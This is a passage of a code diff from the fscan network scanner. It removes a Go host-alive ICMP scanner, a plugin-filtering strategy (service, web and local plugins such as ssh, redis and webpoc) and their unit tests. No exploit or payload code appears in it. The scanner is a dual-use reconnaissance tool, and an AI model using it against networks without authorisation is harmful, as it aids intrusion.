-	to := time.Duration(ms) * time.Millisecond
-
-	if to < a.minTO {
-		to = a.minTO
-	}
-	if to > a.maxTO {
-		to = a.maxTO
-	}
-
-	a.cachedTO = to
-	a.dirty = false
-	return to
-}

core/alive_scanner.go

@@ -1,122 +0,0 @@
-package core
-
-import (
-	"context"
-	"fmt"
-	"sync"
-	"time"
-
-	"github.com/shadow1ng/fscan/common"
-	"github.com/shadow1ng/fscan/common/i18n"
-	"github.com/shadow1ng/fscan/common/parsers"
-)
-
-/*
-AliveScanner.go - 存活探测扫描器
-
-专门用于主机存活探测，仅执行ICMP/Ping检测，
-快速识别网络中的存活主机，不进行端口扫描。
-*/
-
-// AliveScanStrategy 存活探测扫描策略
-type AliveScanStrategy struct {
-	*BaseScanStrategy
-	startTime time.Time
-	stats     AliveStats
-}
-
-// AliveStats 存活探测统计信息
-type AliveStats struct {
-	TotalHosts    int           // 总主机数
-	AliveHosts    int           // 存活主机数
-	DeadHosts     int           // 死亡主机数
-	ScanDuration  time.Duration // 扫描耗时
-	SuccessRate   float64       // 成功率
-	AliveHostList []string      // 存活主机列表
-}
-
-// NewAliveScanStrategy 创建新的存活探测扫描策略
-func NewAliveScanStrategy() *AliveScanStrategy {
-	return &AliveScanStrategy{
-		BaseScanStrategy: NewBaseScanStrategy("存活探测", FilterNone),
-		startTime:        time.Now(),
-	}
-}
-
-// Name 返回策略名称
-func (s *AliveScanStrategy) Name() string {
-	return i18n.GetText("scan_strategy_alive_name")
-}
-
-// Description 返回策略描述
-func (s *AliveScanStrategy) Description() string {
-	return i18n.GetText("scan_strategy_alive_desc")
-}
-
-// Execute 执行存活探测扫描策略
-func (s *AliveScanStrategy) Execute(ctx context.Context, session *common.ScanSession, info common.HostInfo, ch chan struct{}, wg *sync.WaitGroup) {
-	// 验证扫描目标（需要同时检查 -h 和 -hf 参数）
-	if info.Host == "" && session.Params.HostsFile == "" {
-		common.LogError(i18n.GetText("parse_error_target_empty"))
-		return
-	}
-
-	// 执行存活探测
-	s.performAliveScan(ctx, info, session)
-
-	// 输出统计信息
-	s.outputStats()
-}
-
-// performAliveScan 执行存活探测
-func (s *AliveScanStrategy) performAliveScan(ctx context.Context, info common.HostInfo, session *common.ScanSession) {
-	// 解析目标主机
-	hosts, err := parsers.ParseIP(info.Host, session.Params.HostsFile, session.Params.ExcludeHosts)
-	if err != nil {
-		common.LogError(i18n.Tr("parse_target_failed", err))
-		return
-	}
-
-	if len(hosts) == 0 {
-		common.LogError(i18n.GetText("parse_error_no_hosts"))
-		return
-	}
-
-	// 初始化统计信息
-	s.stats.TotalHosts = len(hosts)
-	s.stats.AliveHosts = 0
-	s.stats.DeadHosts = 0
-
-
-	// 执行存活检测
-	aliveList := CheckLive(ctx, hosts, false, session) // 使用ICMP探测
-
-	// 更新统计信息
-	s.stats.AliveHosts = len(aliveList)
-	s.stats.DeadHosts = s.stats.TotalHosts - s.stats.AliveHosts
-	s.stats.ScanDuration = time.Since(s.startTime)
-	s.stats.AliveHostList = aliveList // 存储存活主机列表
-
-	if s.stats.TotalHosts > 0 {
-		s.stats.SuccessRate = float64(s.stats.AliveHosts) / float64(s.stats.TotalHosts) * 100
-	}
-}
-
-// outputStats 输出统计信息（精简版）
-func (s *AliveScanStrategy) outputStats() {
-	// 只输出存活主机列表，不输出冗余统计
-	for _, host := range s.stats.AliveHostList {
-		common.LogSuccess(fmt.Sprintf("alive %s", host))
-	}
-}
-
-// PrepareTargets 存活探测不需要准备扫描目标
-func (s *AliveScanStrategy) PrepareTargets(info common.HostInfo) []common.HostInfo {
-	// 存活探测不需要返回目标列表，因为它不进行后续扫描
-	return nil
-}
-
-// GetPlugins 存活探测不使用插件
-func (s *AliveScanStrategy) GetPlugins(config *common.Config) ([]string, bool) {
-	return []string{}, false
-}

core/alive_scanner_test.go

@@ -1,120 +0,0 @@
-package core
-
-import (
-	"testing"
-	"time"
-
-	"github.com/shadow1ng/fscan/common"
-)
-
-// TestNewAliveScanStrategy 测试构造函数
-func TestNewAliveScanStrategy(t *testing.T) {
-	strategy := NewAliveScanStrategy()
-
-	if strategy == nil {
-		t.Fatal("NewAliveScanStrategy 返回 nil")
-	}
-
-	if strategy.BaseScanStrategy == nil {
-		t.Error("BaseScanStrategy 未初始化")
-	}
-
-	// 验证起始时间已设置
-	if strategy.startTime.IsZero() {
-		t.Error("startTime 未初始化")
-	}
-
-	// 验证时间在合理范围内（过去1秒内）
-	if time.Since(strategy.startTime) > time.Second {
-		t.Error("startTime 时间戳异常")
-	}
-}
-
-// TestAliveScanStrategy_PrepareTargets 测试PrepareTargets
-func TestAliveScanStrategy_PrepareTargets(t *testing.T) {
-	strategy := NewAliveScanStrategy()
-
-	// 存活探测不需要返回目标列表
-	targets := strategy.PrepareTargets(common.HostInfo{})
-
-	if targets != nil {
-		t.Errorf("PrepareTargets 应返回 nil, 实际: %v", targets)
-	}
-}
-
-// TestAliveScanStrategy_GetPlugins 测试GetPlugins
-func TestAliveScanStrategy_GetPlugins(t *testing.T) {
-	strategy := NewAliveScanStrategy()
-
-	plugins, customMode := strategy.GetPlugins(nil)
-
-	if len(plugins) != 0 {
-		t.Errorf("GetPlugins 应返回空列表, 实际长度: %d", len(plugins))
-	}
-
-	if customMode {
-		t.Error("customMode 应为 false")
-	}
-}
-
-// TestAliveStats_SuccessRateCalculation 测试成功率计算逻辑
-func TestAliveStats_SuccessRateCalculation(t *testing.T) {
-	tests := []struct {
-		name         string
-		totalHosts   int
-		aliveHosts   int
-		expectedRate float64
-	}{
-		{"全部存活", 10, 10, 100.0},
-		{"一半存活", 10, 5, 50.0},
-		{"无存活", 10, 0, 0.0},
-		{"单主机存活", 1, 1, 100.0},
-		{"单主机死亡", 1, 0, 0.0},
-		{"三分之一存活", 3, 1, 100.0 / 3.0},
-	}
-
-	for _, tt := range tests {
-		t.Run(tt.name, func(t *testing.T) {
-			// 模拟统计计算逻辑（来自 alive_scanner.go:108-110）
-			var successRate float64
-			if tt.totalHosts > 0 {
-				successRate = float64(tt.aliveHosts) / float64(tt.totalHosts) * 100
-			}
-
-			// 浮点数比较使用小容忍度
-			const epsilon = 1e-9
-			diff := successRate - tt.expectedRate
-			if diff < -epsilon || diff > epsilon {
-				t.Errorf("成功率计算错误: 期望 %.10f%%, 实际 %.10f%%, 差值 %.10f",
-					tt.expectedRate, successRate, diff)
-			}
-		})
-	}
-}
-
-// TestAliveStats_DeadHostsCalculation 测试死亡主机数计算
-func TestAliveStats_DeadHostsCalculation(t *testing.T) {
-	tests := []struct {
-		name         string
-		totalHosts   int
-		aliveHosts   int
-		expectedDead int
-	}{
-		{"全部存活", 10, 10, 0},
-		{"一半存活", 10, 5, 5},
-		{"全部死亡", 10, 0, 10},
-		{"单主机", 1, 0, 1},
-	}
-
-	for _, tt := range tests {
-		t.Run(tt.name, func(t *testing.T) {
-			// 模拟死亡主机计算逻辑（来自 alive_scanner.go:104）
-			deadHosts := tt.totalHosts - tt.aliveHosts
-
-			if deadHosts != tt.expectedDead {
-				t.Errorf("死亡主机数错误: 期望 %d, 实际 %d",
-					tt.expectedDead, deadHosts)
-			}
-		})
-	}
-}

core/base_scan_strategy.go

@@ -1,283 +0,0 @@
-package core
-
-import (
-	"fmt"
-	"os"
-	"sort"
-	"strings"
-
-	"github.com/shadow1ng/fscan/common"
-	"github.com/shadow1ng/fscan/common/i18n"
-	"github.com/shadow1ng/fscan/plugins"
-)
-
-// PluginFilterType 插件过滤类型
-type PluginFilterType int
-
-const (
-	// FilterNone 不过滤
-	FilterNone PluginFilterType = iota
-	// FilterLocal 仅本地插件
-	FilterLocal
-	// FilterService 仅服务插件（排除本地）
-	FilterService
-	// FilterWeb 仅Web插件
-	FilterWeb
-)
-
-// BaseScanStrategy 扫描策略基础类
-type BaseScanStrategy struct {
-	strategyName string
-	filterType   PluginFilterType
-}
-
-// NewBaseScanStrategy 创建基础扫描策略
-func NewBaseScanStrategy(name string, filterType PluginFilterType) *BaseScanStrategy {
-	return &BaseScanStrategy{
-		strategyName: name,
-		filterType:   filterType,
-	}
-}
-
-// GetPlugins 获取插件列表
-func (b *BaseScanStrategy) GetPlugins(config *common.Config) ([]string, bool) {
-	scanMode := config.Mode
-	// 如果指定了特定插件且不是"all"
-	if scanMode != "" && scanMode != "all" {
-		requestedPlugins := parsePluginList(scanMode)
-		if len(requestedPlugins) == 0 {
-			requestedPlugins = []string{scanMode}
-		}
-
-		// 验证插件是否存在
-		var validPlugins []string
-		var missingPlugins []string
-		for _, name := range requestedPlugins {
-			if b.pluginExists(name) {
-				validPlugins = append(validPlugins, name)
-			} else {
-				missingPlugins = append(missingPlugins, name)
-			}
-		}
-
-		// 警告用户显式指定的插件不存在
-		// 注意：使用fmt.Fprintf直接输出到stderr，确保错误消息不会被日志级别过滤
-		for _, name := range missingPlugins {
-			errMsg := i18n.Tr("scan_plugin_not_found", name)
-			fmt.Fprintf(os.Stderr, "[ERROR] %s\n", errMsg)
-		}
-
-		return validPlugins, true
-	}
-
-	// 未指定或使用"all"：根据策略类型获取对应插件
-	return b.getPluginsByFilterType(), false
-}
-
-// IsPluginApplicableByName 根据插件名称判断是否适用
-func (b *BaseScanStrategy) IsPluginApplicableByName(pluginName string, targetHost string, targetPort int, isCustomMode bool, config *common.Config) bool {
-	// 首先检查插件是否存在
-	if !b.pluginExists(pluginName) {
-		return false
-	}
-
-	// 检查端口匹配和过滤器类型
-	return b.isPluginApplicableToPortWithHost(pluginName, targetHost, targetPort) && b.isPluginPassesFilterType(pluginName, isCustomMode, config)
-}
-
-func (b *BaseScanStrategy) pluginExists(pluginName string) bool {
-	return plugins.Exists(pluginName)
-}
-
-func (b *BaseScanStrategy) getPluginPorts(pluginName string) []int {
-	return plugins.GetPluginPorts(pluginName)
-}
-
-func (b *BaseScanStrategy) isWebPlugin(pluginName string) bool {
-	return plugins.HasType(pluginName, plugins.PluginTypeWeb)
-}
-
-func (b *BaseScanStrategy) isLocalPlugin(pluginName string) bool {
-	return plugins.HasType(pluginName, plugins.PluginTypeLocal)
-}
-
-func (b *BaseScanStrategy) isLocalPluginExplicitlySpecified(pluginName string, config *common.Config) bool {
-	return config.LocalPlugin == pluginName
-}
-
-// isPluginApplicableToPortWithHost 检查插件是否适用于指定端口
-func (b *BaseScanStrategy) isPluginApplicableToPortWithHost(pluginName string, targetHost string, targetPort int) bool {
-	if b.isWebPlugin(pluginName) {
-		return IsMarkedWebService(targetHost, targetPort)
-	}
-
-	pluginPorts := b.getPluginPorts(pluginName)
-
-	// 无端口限制的插件适用于所有端口
-	if len(pluginPorts) == 0 {
-		return true
-	}
-
-	// 有端口限制的插件：检查端口匹配
-	if targetPort > 0 {
-		for _, port := range pluginPorts {
-			if port == targetPort {
-				return true
-			}
-		}
-	}
-
-	return false
-}
-
-func (b *BaseScanStrategy) isPluginApplicableToPort(pluginName string, targetPort int) bool {
-	return b.isPluginApplicableToPortWithHost(pluginName, "", targetPort)
-}
-
-// isPluginPassesFilterType 检查插件是否通过过滤器类型检查
-func (b *BaseScanStrategy) isPluginPassesFilterType(pluginName string, isCustomMode bool, config *common.Config) bool {
-	// 自定义模式下强制运行所有明确指定的插件
-	if isCustomMode {
-		return true
-	}
-
-	// 应用过滤器类型检查
-	switch b.filterType {
-	case FilterLocal:
-		// 本地扫描策略：只允许本地插件且必须通过-local参数明确指定
-		if b.isLocalPlugin(pluginName) {
-			return b.isLocalPluginExplicitlySpecified(pluginName, config)
-		}
-		return false
-	case FilterService:
-		// 服务扫描策略：排除本地插件
-		return !b.isLocalPlugin(pluginName)
-	case FilterWeb:
-		// Web扫描策略：只允许Web插件
-		return b.isWebPlugin(pluginName)
-	default:
-		// 无过滤器：本地插件需要明确指定，其他插件都允许
-		if b.isLocalPlugin(pluginName) {
-			return b.isLocalPluginExplicitlySpecified(pluginName, config)
-		}
-		return true
-	}
-}
-
-// LogPluginInfo 输出插件信息
-func (b *BaseScanStrategy) LogPluginInfo(config *common.Config) {
-	allPlugins, isCustomMode := b.GetPlugins(config)
-
-	var prefix string
-	switch b.filterType {
-	case FilterLocal:
-		prefix = i18n.GetText("concurrency_local_plugin")
-	case FilterService:
-		prefix = i18n.GetText("concurrency_service_plugin")
-	case FilterWeb:
-		prefix = i18n.GetText("concurrency_web_plugin")
-	default:
-		prefix = i18n.GetText("concurrency_plugin")
-	}
-
-	// 插件信息不再输出，减少干扰
-	_ = allPlugins
-	_ = isCustomMode
-	_ = prefix
-}
-
-// formatPluginList 格式化插件列表（超过5个时精简显示）
-func formatPluginList(plugins []string) string {
-	if len(plugins) <= 5 {
-		return strings.Join(plugins, ", ")
-	}
-	return fmt.Sprintf("%s ... 等%d个", strings.Join(plugins[:5], ", "), len(plugins))
-}
-
-// ValidateConfiguration 验证扫描配置
-func (b *BaseScanStrategy) ValidateConfiguration() error {
-	return nil
-}
-
-// LogScanStart 输出扫描开始信息（已精简，仅在非服务扫描模式下显示）
-func (b *BaseScanStrategy) LogScanStart() {
-	// 服务扫描模式下不显示（插件信息已足够说明）
-	// 仅在本地/Web等特殊模式下显示
-	switch b.filterType {
-	case FilterLocal:
-		common.LogInfo(i18n.GetText("start_local_scan"))
-	case FilterWeb:
-		common.LogInfo(i18n.GetText("start_web_scan"))
-	}
-}
-
-// getPluginsByFilterType 根据过滤器类型获取插件列表
-func (b *BaseScanStrategy) getPluginsByFilterType() []string {
-	allPlugins := plugins.All()
-	var filteredPlugins []string
-
-	switch b.filterType {
-	case FilterLocal:
-		// 本地扫描策略：只返回本地插件
-		for _, pluginName := range allPlugins {
-			if b.isLocalPlugin(pluginName) {
-				filteredPlugins = append(filteredPlugins, pluginName)
-			}
-		}
-	case FilterService:
-		// 服务扫描策略：排除本地插件和纯Web插件，保留服务插件
-		for _, pluginName := range allPlugins {
-			if !b.isLocalPlugin(pluginName) {
-				filteredPlugins = append(filteredPlugins, pluginName)
-			}
-		}
-	case FilterWeb:
-		// Web扫描策略：只返回Web插件
-		for _, pluginName := range allPlugins {
-			if b.isWebPlugin(pluginName) {
-				filteredPlugins = append(filteredPlugins, pluginName)
-			}
-		}
-		// 确保 webtitle 在 webpoc 之前执行，避免指纹识别竞态
-		sort.Slice(filteredPlugins, func(i, j int) bool {
-			// webtitle 必须在 webpoc 之前
-			if filteredPlugins[i] == "webtitle" {
-				return true
-			}
-			if filteredPlugins[j] == "webtitle" {
-				return false
-			}
-			if filteredPlugins[i] == "webpoc" {
-				return false
-			}
-			if filteredPlugins[j] == "webpoc" {
-				return true
-			}
-			// 其他插件保持字母顺序
-			return filteredPlugins[i] < filteredPlugins[j]
-		})
-	default:
-		// 无过滤器：返回所有插件
-		filteredPlugins = allPlugins
-	}
-
-	return filteredPlugins
-}
-
-// parsePluginList 解析插件列表字符串
-func parsePluginList(pluginStr string) []string {
-	if pluginStr == "" {
-		return []string{}
-	}
-
-	// 支持逗号分隔的插件列表
-	plugins := strings.Split(pluginStr, ",")
-	result := []string{} // 初始化为空切片而非nil
-	for _, plugin := range plugins {
-		plugin = strings.TrimSpace(plugin)
-		if plugin != "" {
-			result = append(result, plugin)
-		}
-	}
-	return result
-}

core/base_scan_strategy_test.go

@@ -1,354 +0,0 @@
-package core
-
-import (
-	"testing"
-)
-
-// =============================================================================
-// 插件列表解析测试
-// =============================================================================
-
-/*
-插件列表解析 - parsePluginList 函数测试
-
-测试价值：用户输入解析是扫描器的入口，解析错误会导致用户指定的插件无法执行
-
-"字符串解析看起来简单，但边界情况会咬你一口。空格、空字符串、
-逗号分隔符——这些是真实的bug来源。必须测试。"
-*/
-
-// TestParsePluginList_BasicCases 测试基本的插件列表解析
-func TestParsePluginList_BasicCases(t *testing.T) {
-	tests := []struct {
-		name     string
-		input    string
-		expected []string
-	}{
-		{
-			name:     "单个插件",
-			input:    "ssh",
-			expected: []string{"ssh"},
-		},
-		{
-			name:     "两个插件-逗号分隔",
-			input:    "ssh,redis",
-			expected: []string{"ssh", "redis"},
-		},
-		{
-			name:     "多个插件-逗号分隔",
-			input:    "ssh,redis,mysql,mssql",
-			expected: []string{"ssh", "redis", "mysql", "mssql"},
-		},
-		{
-			name:     "空字符串",
-			input:    "",
-			expected: []string{},
-		},
-		{
-			name:     "单个逗号",
-			input:    ",",
-			expected: []string{},
-		},
-		{
-			name:     "多个逗号",
-			input:    ",,,",
-			expected: []string{},
-		},
-	}
-
-	for _, tt := range tests {
-		t.Run(tt.name, func(t *testing.T) {
-			result := parsePluginList(tt.input)
-			if !slicesEqual(result, tt.expected) {
-				t.Errorf("parsePluginList(%q) = %v, want %v",
-					tt.input, result, tt.expected)
-			}
-		})
-	}
-}
-
-// TestParsePluginList_Whitespace 测试空格处理
-func TestParsePluginList_Whitespace(t *testing.T) {
-	tests := []struct {
-		name     string
-		input    string
-		expected []string
-	}{
-		{
-			name:     "插件名前后有空格",
-			input:    " ssh ",
-			expected: []string{"ssh"},
-		},
-		{
-			name:     "逗号前后有空格",
-			input:    "ssh , redis",
-			expected: []string{"ssh", "redis"},
-		},
-		{
-			name:     "多个空格",
-			input:    "  ssh  ,  redis  ",
-			expected: []string{"ssh", "redis"},
-		},
-		{
-			name:     "Tab字符",
-			input:    "ssh\t,\tredis",
-			expected: []string{"ssh", "redis"},
-		},
-		{
-			name:     "混合空白字符",
-			input:    " \tssh\t , \tredis \t",
-			expected: []string{"ssh", "redis"},
-		},
-		{
-			name:     "只有空格",
-			input:    "   ",
-			expected: []string{},
-		},
-		{
-			name:     "空格和逗号混合",
-			input:    " , , , ",
-			expected: []string{},
-		},
-	}
-
-	for _, tt := range tests {
-		t.Run(tt.name, func(t *testing.T) {
-			result := parsePluginList(tt.input)
-			if !slicesEqual(result, tt.expected) {
-				t.Errorf("parsePluginList(%q) = %v, want %v",
-					tt.input, result, tt.expected)
-			}
-		})
-	}
-}
-
-// TestParsePluginList_EdgeCases 测试边界情况
-func TestParsePluginList_EdgeCases(t *testing.T) {
-	tests := []struct {
-		name     string
-		input    string
-		expected []string
-	}{
-		{
-			name:     "连续逗号",
-			input:    "ssh,,redis",
-			expected: []string{"ssh", "redis"},
-		},
-		{
-			name:     "开头有逗号",
-			input:    ",ssh,redis",
-			expected: []string{"ssh", "redis"},
-		},
-		{
-			name:     "结尾有逗号",
-			input:    "ssh,redis,",
-			expected: []string{"ssh", "redis"},
-		},
-		{
-			name:     "开头结尾都有逗号",
-			input:    ",ssh,redis,",
-			expected: []string{"ssh", "redis"},
-		},
-		{
-			name:     "空元素混合",
-			input:    "ssh, ,redis, , ,mysql",
-			expected: []string{"ssh", "redis", "mysql"},
-		},
-		{
-			name:     "单字符插件名",
-			input:    "a,b,c",
-			expected: []string{"a", "b", "c"},
-		},
-		{
-			name:     "长插件名",
-			input:    "verylongpluginname1,verylongpluginname2",
-			expected: []string{"verylongpluginname1", "verylongpluginname2"},
-		},
-	}
-
-	for _, tt := range tests {
-		t.Run(tt.name, func(t *testing.T) {
-			result := parsePluginList(tt.input)
-			if !slicesEqual(result, tt.expected) {
-				t.Errorf("parsePluginList(%q) = %v, want %v",
-					tt.input, result, tt.expected)
-			}
-		})
-	}
-}
-
-// TestParsePluginList_ProductionScenarios 测试生产环境真实场景
-func TestParsePluginList_ProductionScenarios(t *testing.T) {
-	t.Run("用户复制粘贴带空格", func(t *testing.T) {
-		// 用户从文档复制 "ssh, redis, mysql" 粘贴到命令行
-		input := "ssh, redis, mysql"
-		expected := []string{"ssh", "redis", "mysql"}
-		result := parsePluginList(input)
-		if !slicesEqual(result, expected) {
-			t.Errorf("应该正确处理用户复制粘贴的空格")
-		}
-	})
-
-	t.Run("用户手误多打逗号", func(t *testing.T) {
-		// 用户打错了："ssh,,redis"
-		input := "ssh,,redis"
-		expected := []string{"ssh", "redis"}
-		result := parsePluginList(input)
-		if !slicesEqual(result, expected) {
-			t.Errorf("应该容错处理连续逗号")
-		}
-	})
-
-	t.Run("常见的all模式", func(t *testing.T) {
-		// 虽然 "all" 在上层处理，但解析器也要能处理
-		input := "all"
-		expected := []string{"all"}
-		result := parsePluginList(input)
-		if !slicesEqual(result, expected) {
-			t.Errorf("应该正确解析 'all' 关键字")
-		}
-	})
-
-	t.Run("混合大小写插件名", func(t *testing.T) {
-		// Go插件名通常小写，但用户可能输入大写
-		input := "SSH,Redis,MySQL"
-		expected := []string{"SSH", "Redis", "MySQL"}
-		result := parsePluginList(input)
-		// 注意：当前实现不做大小写转换，保留原始输入
-		if !slicesEqual(result, expected) {
-			t.Errorf("应该保留原始大小写（交给上层验证）")
-		}
-	})
-}
-
-// TestParsePluginList_ReturnValue 测试返回值特性
-func TestParsePluginList_ReturnValue(t *testing.T) {
-	t.Run("返回空切片而非nil", func(t *testing.T) {
-		result := parsePluginList("")
-		if result == nil {
-			t.Error("空输入应该返回空切片，而不是nil")
-		}
-		if len(result) != 0 {
-			t.Errorf("空输入应该返回长度为0的切片，got length %d", len(result))
-		}
-	})
-
-	t.Run("返回新切片-不共享内存", func(t *testing.T) {
-		input := "ssh,redis"
-		result1 := parsePluginList(input)
-		result2 := parsePluginList(input)
-
-		// 修改result1不应该影响result2
-		if len(result1) > 0 {
-			result1[0] = "modified"
-			if result2[0] == "modified" {
-				t.Error("每次调用应该返回新的切片，不共享内存")
-			}
-		}
-	})
-}
-
-// slicesEqual 比较两个字符串切片是否相等
-func slicesEqual(a, b []string) bool {
-	if len(a) != len(b) {
-		return false
-	}
-	for i := range a {
-		if a[i] != b[i] {
-			return false
-		}
-	}
-	return true
-}
-
-// TestNewBaseScanStrategy 测试构造函数
-func TestNewBaseScanStrategy(t *testing.T) {
-	tests := []struct {
-		name         string
-		strategyName string
-		filterType   PluginFilterType
-	}{
-		{
-			name:         "FilterNone",
-			strategyName: "无过滤",
-			filterType:   FilterNone,
-		},
-		{
-			name:         "FilterLocal",
-			strategyName: "本地扫描",
-			filterType:   FilterLocal,
-		},
-		{
-			name:         "FilterService",
-			strategyName: "服务扫描",
-			filterType:   FilterService,
-		},
-		{
-			name:         "FilterWeb",
-			strategyName: "Web扫描",
-			filterType:   FilterWeb,
-		},
-	}
-
-	for _, tt := range tests {
-		t.Run(tt.name, func(t *testing.T) {
-			strategy := NewBaseScanStrategy(tt.strategyName, tt.filterType)
-
-			if strategy == nil {
-				t.Fatal("NewBaseScanStrategy 返回 nil")
-			}
-
-			if strategy.strategyName != tt.strategyName {
-				t.Errorf("strategyName: 期望 %q, 实际 %q", tt.strategyName, strategy.strategyName)
-			}
-
-			if strategy.filterType != tt.filterType {
-				t.Errorf("filterType: 期望 %d, 实际 %d", tt.filterType, strategy.filterType)
-			}
-		})
-	}
-}
-
-// TestPluginFilterTypeConstants 测试过滤器类型常量
-func TestPluginFilterTypeConstants(t *testing.T) {
-	// 验证常量值的唯一性和连续性
-	filterTypes := []PluginFilterType{
-		FilterNone,
-		FilterLocal,
-		FilterService,
-		FilterWeb,
-	}
-
-	// 检查值是否唯一
-	seen := make(map[PluginFilterType]bool)
-	for _, ft := range filterTypes {
-		if seen[ft] {
-			t.Errorf("PluginFilterType 值重复: %d", ft)
-		}
-		seen[ft] = true
-	}
-
-	// 验证预期值
-	expectedValues := map[PluginFilterType]int{
-		FilterNone:    0,
-		FilterLocal:   1,
-		FilterService: 2,
-		FilterWeb:     3,
-	}
-
-	for ft, expectedVal := range expectedValues {
-		if int(ft) != expectedVal {
-			t.Errorf("PluginFilterType %d: 期望值 %d, 实际值 %d", ft, expectedVal, int(ft))
-		}
-	}
-}
-
-// TestBaseScanStrategy_ValidateConfiguration 测试配置验证
-func TestBaseScanStrategy_ValidateConfiguration(t *testing.T) {
-	strategy := NewBaseScanStrategy("测试", FilterNone)
-
-	err := strategy.ValidateConfiguration()
-	if err != nil {
-		t.Errorf("ValidateConfiguration 应返回 nil, 实际: %v", err)
-	}
-}